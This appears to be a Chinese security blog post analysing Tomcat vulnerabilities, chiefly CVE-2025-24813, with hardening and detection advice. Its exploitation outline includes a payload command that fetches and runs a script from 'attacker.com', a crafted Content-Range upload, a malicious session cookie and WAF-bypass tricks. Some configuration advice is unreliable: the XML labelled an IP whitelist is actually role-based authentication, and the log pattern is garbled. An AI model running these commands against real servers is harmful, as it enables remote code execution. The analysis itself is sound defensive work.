
在当今数字化时代,互联网应用对性能和可用性的要求日益严苛,Tomcat 作为全球使用最广泛的 Java Web 容器之一,在 Web 生态中占据着核心地位。它如同一个强大而稳定的大型地基,支撑着复杂的业务系统,保证其高效稳定地运行。无论是小型项目的快速搭建,还是大型企业级应用的部署,Tomcat 凭借其开源、免费且易于使用和配置的特点,深受广大开发者的喜爱,许多知名的 Java Web 框架,如 Spring、Struts 等,都可以在 Tomcat 上稳定运行。
Tomcat 的应用领域极为广泛,金融、政务、电商等关键领域的千万级应用都依赖于它。在金融行业,Tomcat 支撑着网上银行、证券交易等核心业务系统,这些系统处理着大量的资金交易和用户敏感信息,对安全性和稳定性要求极高;政务领域,电子政务平台借助 Tomcat 实现了政务办公的信息化和数字化,提高了政府的工作效率和服务质量;电商行业,Tomcat 更是支撑着各大电商平台在促销活动期间的高并发交易,如 “双 11” 等购物狂欢节,保障了用户的购物体验。
然而,Tomcat 的开源特性与轻量设计在为开发者提供便利的同时,也让安全漏洞成为了攻击者的 “突破口”。近年来,随着网络攻击手段的不断演变,Tomcat 漏洞的数量和危害程度呈上升趋势。据统计,Tomcat 漏洞年均披露量增长 30%,仅在 2025 年,就爆发了多个高危 RCE(远程代码执行)漏洞,这些漏洞直接威胁到企业的基础设施安全,一旦被攻击者利用,可能导致企业敏感数据泄露、系统瘫痪等严重后果。
作为网络安全博主,在关注 Tomcat 漏洞时,需要聚焦 “可利用性” 与 “防御落地”。这意味着不仅要深入了解漏洞的技术细节,更要结合实战场景,解析漏洞的触发条件、绕过技巧以及配置缺陷。
在解析漏洞时,参考知名博主如 phith0n 的逻辑化分析风格与 Mik233 的通俗化表达是很有必要的。phith0n 在分析漏洞时,通常会以严谨的逻辑,从漏洞的原理、利用方式到防御措施,进行全面而深入的剖析,让读者能够清晰地理解漏洞的本质。而 Mik233 则擅长用通俗易懂的语言,将复杂的技术问题解释得简单明了,使更多非专业人士也能轻松理解。我们应兼顾技术深度与读者接受度,避免堆砌术语,侧重 “为什么漏洞危险” 与 “如何快速修复”。
例如,在分析 Tomcat 的某个高危漏洞时,不仅要详细说明攻击者如何利用该漏洞执行远程代码,还要解释为什么这个漏洞会给企业带来严重的安全威胁,如可能导致企业核心数据泄露、业务中断等后果。同时,要为读者提供快速有效的修复建议,包括升级 Tomcat 版本、修改配置文件等具体操作步骤,帮助企业及时防范漏洞风险,保障系统的安全稳定运行。
CVE-2025-24813 堪称 Tomcat 的 “致命短板”,其漏洞源于 Tomcat 对分块上传(Partial PUT)的路径处理缺陷。攻击者通过构造含 Content-Range 头的恶意请求,将路径中的斜杠(/)替换为点(.),生成非法临时文件(如.evil.session)。结合 Tomcat 的会话反序列化机制,最终触发 RCE。这一过程犹如在 Tomcat 的防御体系中打开了一扇隐秘的后门,让攻击者得以长驱直入。
该漏洞的触发需要满足多个核心条件。首先,写入权限必须开启,这通常需要在 web.xml 中显式设置 DefaultServlet 的 readonly 参数为 false,使得攻击者能够上传文件。其次,反序列化依赖库必须存在,如 commons - collections,它为攻击者提供了利用反序列化机制执行恶意代码的工具。最后,分块上传功能未禁用,这是攻击者能够构造恶意请求的基础。
步骤 1:生成 Commons - Collections 反序列化 Payload,嵌入恶意系统命令(如 curl http://attacker.com/shell.sh| bash)。这一步就像是为攻击者打造了一把 “万能钥匙”,能够解锁目标系统的控制权。通过精心构造的 Payload,攻击者可以在目标系统上执行任意命令,实现对系统的完全控制。
步骤 2:通过 PUT 请求上传至 work/catalina/localhost/root目录,利用 Content - Range: bytes 0 - 2787/4200 欺骗 Tomcat 生成未完成临时文件。攻击者利用 Tomcat 对分块上传的处理机制,巧妙地欺骗 Tomcat 生成一个看似未完成的临时文件,为后续的攻击埋下伏笔。
步骤 3:携带 jsessionid=.evil Cookie 访问目标,触发会话加载并反序列化恶意文件,实现服务器权限劫持。当 Tomcat 加载会话时,会自动反序列化恶意文件,从而执行攻击者预先植入的恶意代码,实现对服务器权限的劫持。这一过程就像是攻击者在目标系统中悄然埋下了一颗 “定时炸弹”,一旦触发,后果不堪设想。
受影响版本:Tomcat 9.0.0.M1\9.0.98、10.1.0.M1\10.1.34、11.0.0.M1~11.0.2。这些版本的 Tomcat 犹如 “带刺的玫瑰”,在为用户提供便利的同时,也隐藏着巨大的安全风险。
修复建议:升级至 11.0.3+(禁用路径替换逻辑),或手动配置 web.xml 关闭 PUT 方法。升级版本是最为直接有效的修复方法,它能够从根本上解决漏洞问题;而手动配置 web.xml 关闭 PUT 方法,则是一种临时的缓解措施,能够在一定程度上降低漏洞被利用的风险。
Tomcat 在修复 URL 重写逻辑时引入了回归问题,这就像是给系统打补丁时不小心留下了新的漏洞。重写后的 URL 在 URL 解码前被规范化,导致 / WEB - INF / 等保护目录可被绕过。攻击者通过构造包含 %2f(编码斜杠)的 URI,配合 PUT 请求上传 jspx 文件,突破 Tomcat 内置的安全约束。这一漏洞的出现,让 Tomcat 的安全防线出现了一道难以察觉的裂缝,为攻击者提供了可乘之机。
必要条件:服务器启用 URL 重写规则(如 rewrite.valves.TomcatRequestRewer)且未禁用 PUT 方法。这两个条件就像是为攻击者打开了一扇通往系统内部的大门,使得他们能够利用漏洞进行攻击。
典型场景:攻击者伪装成可信用户,通过 API 接口上传恶意文件,最终在 webapps 目录生成后门文件。攻击者利用系统的漏洞,巧妙地绕过了安全检测,成功地在系统中植入了后门文件,为后续的攻击做好了准备。
禁用非必要的 URL 重写模块,检查 conf/server.xml 是否存在危险配置。这就像是对系统进行一次全面的 “体检”,及时发现并排除潜在的安全隐患。
升级至 Tomcat 11.0.11+,官方通过增加路径合法性校验修复此漏洞。升级版本是解决漏洞问题的根本方法,它能够确保系统的安全性得到有效提升。
多文件上传时,Tomcat 在错误处理中未及时清理临时文件,导致 work 目录空间被大量占用。这就像是一个 “垃圾场”,不断堆积的临时文件最终会导致系统资源耗尽。当 JVM 垃圾回收速度低于文件生成速度时,最终引发 OutOfMemoryError,造成服务不可用。这一漏洞就像是一个 “隐形杀手”,悄悄地消耗着系统的资源,最终导致系统瘫痪。
异常指标:短期内 work 目录文件数激增,伴随 Tomcat 进程内存使用率持续高于 80%。这些异常指标就像是系统发出的 “求救信号”,提醒管理员系统可能正在遭受攻击。
检测工具:通过 lsof | grep tomcat | grep tmp 实时监控临时文件句柄,或使用 Prometheus 采集 JVM 内存指标。这些检测工具就像是系统的 “守护者”,能够及时发现并预警潜在的安全威胁。
限制单文件上传大小(在 context.xml 添加10MB)。这就像是给文件上传设置了一道 “门槛”,能够有效地减少临时文件的生成,降低漏洞被利用的风险。
定期清理过期临时文件,建议配合 CRON 任务每小时执行 rm -rf /tomcat/work/Catalina/localhost/*。定期清理临时文件就像是给系统进行一次 “大扫除”,能够保持系统的整洁和稳定,确保系统的正常运行。
禁用默认示例应用:默认示例应用往往包含一些敏感接口,如 SessionExample 等,这些接口可能被攻击者利用来获取敏感信息或进行攻击。为了避免这种风险,我们应删除 webapps/examples 目录,确保这些潜在的攻击入口被彻底关闭。这就像是拆除了敌人进攻的 “桥头堡”,让攻击者无处下手。
关闭非必要端口:Tomcat 默认开启了多个端口,其中一些端口可能成为攻击者的目标。为了降低攻击面,我们应仅保留 8080(HTTP)/443(HTTPS)端口,这两个端口是 Tomcat 正常运行所必需的。同时,通过 server.xml 移除 AJP 协议连接器(port="8009"),AJP 协议存在一些安全风险,关闭该端口可以有效减少潜在的攻击途径。这就像是为系统筑起了一道坚固的 “防火墙”,只留下必要的出入口,让攻击者难以突破。
设置 tomcat-users.xml 强密码策略,禁止使用 manager-gui 角色直接部署 war 包:tomcat-users.xml 文件中存储着 Tomcat 的用户和角色信息,设置强密码策略可以有效防止密码被破解。同时,禁止使用 manager-gui 角色直接部署 war 包,避免攻击者利用该角色的权限上传恶意 war 包,从而获取服务器权限。这就像是为系统设置了一把 “安全锁”,只有授权用户才能进行关键操作,保障系统的安全。
启用 URL 访问控制,在 web.xml 添加 IP 白名单:通过在 web.xml 中添加 IP 白名单,可以限制只有特定 IP 地址的用户才能访问 Tomcat 的某些资源。这就像是为系统设置了一道 “门禁”,只有被授权的用户才能进入,有效防止了非法访问和攻击。例如,可以添加如下配置:
<security-constraint> <web-resource-collection> <web-resource-name>Restricted Area</web-resource-name> <url-pattern>/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> <user-data-constraint> <transport-guarantee>NONE</transport-guarantee> </user-data-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> <realm-name>Tomcat Realm</realm-name> </login-config> <security-role> <role-name>admin</role-name> </security-role>在上述配置中,<security-constraint>标签定义了安全约束,<web-resource-collection>标签指定了受保护的资源,<auth-constraint>标签指定了具有访问权限的角色,<user-data-constraint>标签指定了数据传输的保证级别。<login-config>标签定义了登录配置,<auth-method>标签指定了认证方法,<realm-name>标签指定了领域名称。<security-role>标签定义了安全角色。通过这些配置,可以有效地控制用户对 Tomcat 资源的访问权限,提高系统的安全性。
部署基于字节码增强的 RASP 工具(如 AppShield),实时拦截包含 Content-Range 异常字段或路径穿越符号(../)的请求:RASP 工具就像是一个 “贴身保镖”,能够实时监控 Tomcat 的运行状态,对请求进行实时检测和拦截。当检测到包含 Content-Range 异常字段或路径穿越符号(../)的请求时,RASP 工具会立即采取措施,阻止请求的进一步处理,从而有效防范攻击。
针对反序列化攻击,启用 JEP 290 机制:JEP 290 机制为 Tomcat 提供了一层额外的保护,它能够对反序列化操作进行严格的控制和验证,只允许信任的类进行反序列化,从而有效防止反序列化攻击。这就像是为反序列化操作设置了一道 “安全屏障”,让攻击者无法利用反序列化漏洞进行攻击。
开启 Tomcat 访问日志(conf/server.xml 设置 pattern="% h % l % u % t"% r"% s % b"),重点监控 PUT/POST 请求频率:Tomcat 访问日志记录了所有的请求信息,通过设置合适的日志格式,可以方便地对请求进行分析和监控。重点监控 PUT/POST 请求频率,可以及时发现异常的请求行为,如频繁的文件上传或恶意的表单提交,从而及时采取措施进行防范。这就像是为系统安装了一个 “监控摄像头”,能够实时捕捉到潜在的安全威胁。
使用 ELK 栈构建安全事件分析平台,通过正则规则检测 jsessionid=.\w + 等可疑 Cookie 字段:ELK 栈是一套强大的日志管理和分析工具,它能够对 Tomcat 的日志进行集中收集、存储和分析。通过设置正则规则,可以检测出 jsessionid=.\w + 等可疑 Cookie 字段,这些字段可能被攻击者利用来进行会话劫持等攻击。一旦检测到可疑字段,ELK 栈会及时发出警报,提醒管理员进行处理。这就像是为系统配备了一个 “智能分析师”,能够快速准确地发现并处理安全问题。
自动化扫描:使用 Nessus 插件(编号 163542)检测 CVE-2025-24813,或通过自研脚本校验 web.xml 中 readonly 参数:自动化扫描工具能够快速地对 Tomcat 进行全面检测,发现潜在的漏洞。Nessus 插件(编号 163542)专门用于检测 CVE-2025-24813 漏洞,通过使用该插件,可以及时发现系统是否存在该漏洞。自研脚本则可以根据实际需求,对 web.xml 中 readonly 参数进行校验,确保该参数的设置符合安全要求。这就像是为系统进行了一次全面的 “体检”,能够及时发现并修复潜在的健康问题。
手工排查:检查 conf/web.xml 是否存在<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>危险配置:手工排查是漏洞检测的重要环节,通过仔细检查 conf/web.xml 文件,能够发现一些自动化扫描工具可能遗漏的问题。<init-param><param-name>readonly</param-name><param-value>false</param-value></init-param>配置允许写入权限,这可能导致文件上传漏洞的出现,因此需要特别关注。这就像是医生对病人进行详细的问诊和检查,不放过任何一个可能的健康隐患。
建立灰度升级机制,优先在测试环境验证 Tomcat 11.0.12 + 等安全版本,避免兼容性问题:灰度升级机制可以帮助我们在不影响生产环境的前提下,逐步将 Tomcat 升级到安全版本。优先在测试环境进行验证,可以及时发现并解决兼容性问题,确保升级过程的顺利进行。这就像是在正式实施一项新政策之前,先在小范围内进行试点,根据试点结果进行调整和完善,然后再全面推广。
对无法立即升级的系统,临时封堵 PUT 请求(通过 Nginx 添加 deny_method PUT 规则):对于一些无法立即升级的系统,临时封堵 PUT 请求是一种有效的应急措施。通过在 Nginx 中添加 deny_method PUT 规则,可以阻止 PUT 请求的发送,从而避免攻击者利用 PUT 请求进行文件上传等攻击。这就像是在房屋的门窗上安装了防盗锁,暂时阻止了攻击者的进入,为系统的升级和修复争取时间。
在漏洞挖掘过程中,关注 “配置 - 代码” 双重缺陷是至关重要的。以 Tomcat 的 DefaultServlet 为例,其文件操作逻辑与 web.xml 的默认配置紧密相关。当 readonly 参数被设置为 false 时,攻击者可以利用这一配置,通过 PUT 请求上传文件。在这个过程中,路径处理和权限校验等环节可能存在逻辑漏洞,攻击者可以通过构造特殊的路径,如使用../ 进行路径穿越,尝试突破权限限制,实现对敏感文件的访问或上传恶意文件。
Fuzzing 技术是发现这类漏洞的有效手段。通过向 Tomcat 解析器输入大量包含特殊字符的请求,如 %00、编码空格等,观察解析器的反应,能够发现潜在的绕过点。这些特殊字符可能会干扰 Tomcat 的正常解析逻辑,导致解析错误或绕过安全检查,从而为攻击者提供可乘之机。例如,%00 字符在某些情况下可能被解析为字符串结束符,攻击者可以利用这一点来截断路径或文件名,实现对系统的非法访问。
跟踪官方补丁差异是逆向推导漏洞成因的关键步骤。以 CVE-2025-24813 为例,通过对比修复前后的 DefaultServlet.java 代码,可以发现官方在修复该漏洞时,对 generateTempFileName 方法的路径过滤逻辑进行了修改。在修复前,该方法可能存在对路径分隔符替换的不当处理,导致攻击者能够通过构造特殊路径,如将 / 替换为.,生成非法临时文件。而修复后的代码则增加了对路径的合法性校验,有效防止了此类漏洞的发生。
通过分析这些补丁差异,我们可以逆向推导漏洞的成因,了解攻击者是如何利用这些漏洞进行攻击的。这不仅有助于我们更好地理解漏洞的本质,还能够为我们提供有效的防御思路,帮助我们及时发现并修复类似的漏洞,提高系统的安全性。
在攻防对抗中,攻击者常常需要绕过 Web 应用防火墙(WAF)来实施攻击。分块传输编码(Chunked Transfer Coding)是一种常用的绕过技巧。攻击者可以将恶意 Payload 拆分成多个小块,通过分块传输的方式发送给服务器。传统的 WAF 通常基于完整的请求体进行特征匹配,这种分块传输的方式能够有效地规避 WAF 的检测,使恶意 Payload 顺利到达服务器。
User - Agent 伪装也是一种有效的绕过技巧。攻击者可以将 User - Agent 伪装成合法工具,如 curl/7.68.0,使请求看起来像是来自正常的工具访问,从而降低检测规则的触发概率。许多 WAF 会根据 User - Agent 来识别异常请求,通过伪装 User - Agent,攻击者能够绕过这些基于 User - Agent 的检测规则,成功实施攻击。
面对攻击者的攻击,防御方也需要采取有效的反制手段来保护系统的安全。在 Nginx 层添加自定义响应头 X - Tomcat - Security: enabled,并配合 WAF 建立联动防御,是一种有效的反制措施。当 WAF 检测到包含异常路径的请求时,Nginx 可以立即返回 403 Forbidden 响应,阻止攻击者的进一步访问。通过设置自定义响应头,防御方能够更好地识别和处理异常请求,提高系统的安全性。
实施 IP 信誉管理也是一种重要的反制手段。防御方可以对频繁发起 PUT 请求的 IP 地址触发验证码机制或临时封禁。通过监控 IP 地址的行为,防御方能够及时发现异常的请求行为,如频繁的文件上传或恶意的请求,从而采取相应的措施进行防范。验证码机制可以有效地阻止自动化攻击,而临时封禁则可以限制攻击者的访问,保护系统的安全。
开源生态的开放性与企业级安全需求的封闭性持续博弈,这是 Tomcat 安全面临的核心矛盾。开源特性使得 Tomcat 能够广泛应用和快速发展,但也意味着其代码完全暴露在攻击者面前,增加了安全风险。未来,Tomcat 的漏洞将更多集中在 “默认配置风险” 与 “组件交互逻辑缺陷”。例如,在会话管理方面,可能存在会话劫持、会话固定等漏洞;文件上传模块也可能因为权限控制不当或文件类型检查不严格,导致文件上传漏洞的出现。这些漏洞不仅会影响 Tomcat 的正常运行,还可能导致企业敏感数据泄露,给企业带来巨大的损失。
作为网络安全博主,我们肩负着重要的价值传递使命。通过 “原理解析 + 实战复现 + 防御落地” 的三维度内容,帮助读者建立 “漏洞是什么 - 如何利用 - 怎么防御” 的完整认知链。在解析 Tomcat 漏洞时,我们不仅要深入分析漏洞的技术原理,还要通过实战复现,让读者直观地了解漏洞的利用方式。同时,我们要提供详细的防御措施,帮助读者将理论知识转化为实际的防御能力。
我们还要传递 “最小化攻击面”“纵深防御” 等安全架构思想。“最小化攻击面” 要求我们尽可能减少系统中不必要的功能和服务,降低攻击者的攻击目标;“纵深防御” 则强调建立多层次的防御体系,从网络、系统、应用等多个层面进行防护,确保即使某一层防线被突破,其他层仍能继续发挥作用,保障系统的安全。
未来,我们应关注 Tomcat 与云原生环境(如 K8s、Docker)的兼容性漏洞。随着云计算技术的快速发展,越来越多的企业将应用部署在云原生环境中,Tomcat 与这些环境的兼容性问题也日益凸显。例如,在 K8s 集群中,Tomcat 可能会因为容器编排、资源分配等问题,出现安全漏洞。我们需要深入研究这些问题,探索有效的解决方案。
探索基于机器学习的异常流量检测模型也是未来的重要研究方向。随着网络攻击手段的不断演变,传统的基于规则的检测方法已经难以应对动态变化的攻击手段。基于机器学习的异常流量检测模型能够通过学习正常流量的模式和特征,自动识别异常流量,及时发现潜在的攻击行为。我们可以利用大量的网络流量数据,训练机器学习模型,提高其检测准确率和效率,为 Tomcat 的安全防护提供更强大的支持。
Tomcat 漏洞的防御绝非单一补丁能解决,需结合配置强化、运行时防护与应急响应构建立体防御体系。作为安全从业者,既要深入理解漏洞原理,更要将技术转化为可落地的防御方案,真正实现 “知攻懂防” 的安全闭环。只有这样,我们才能在不断变化的网络安全环境中,保障 Tomcat 的安全稳定运行,为企业的数字化转型提供坚实的安全保障。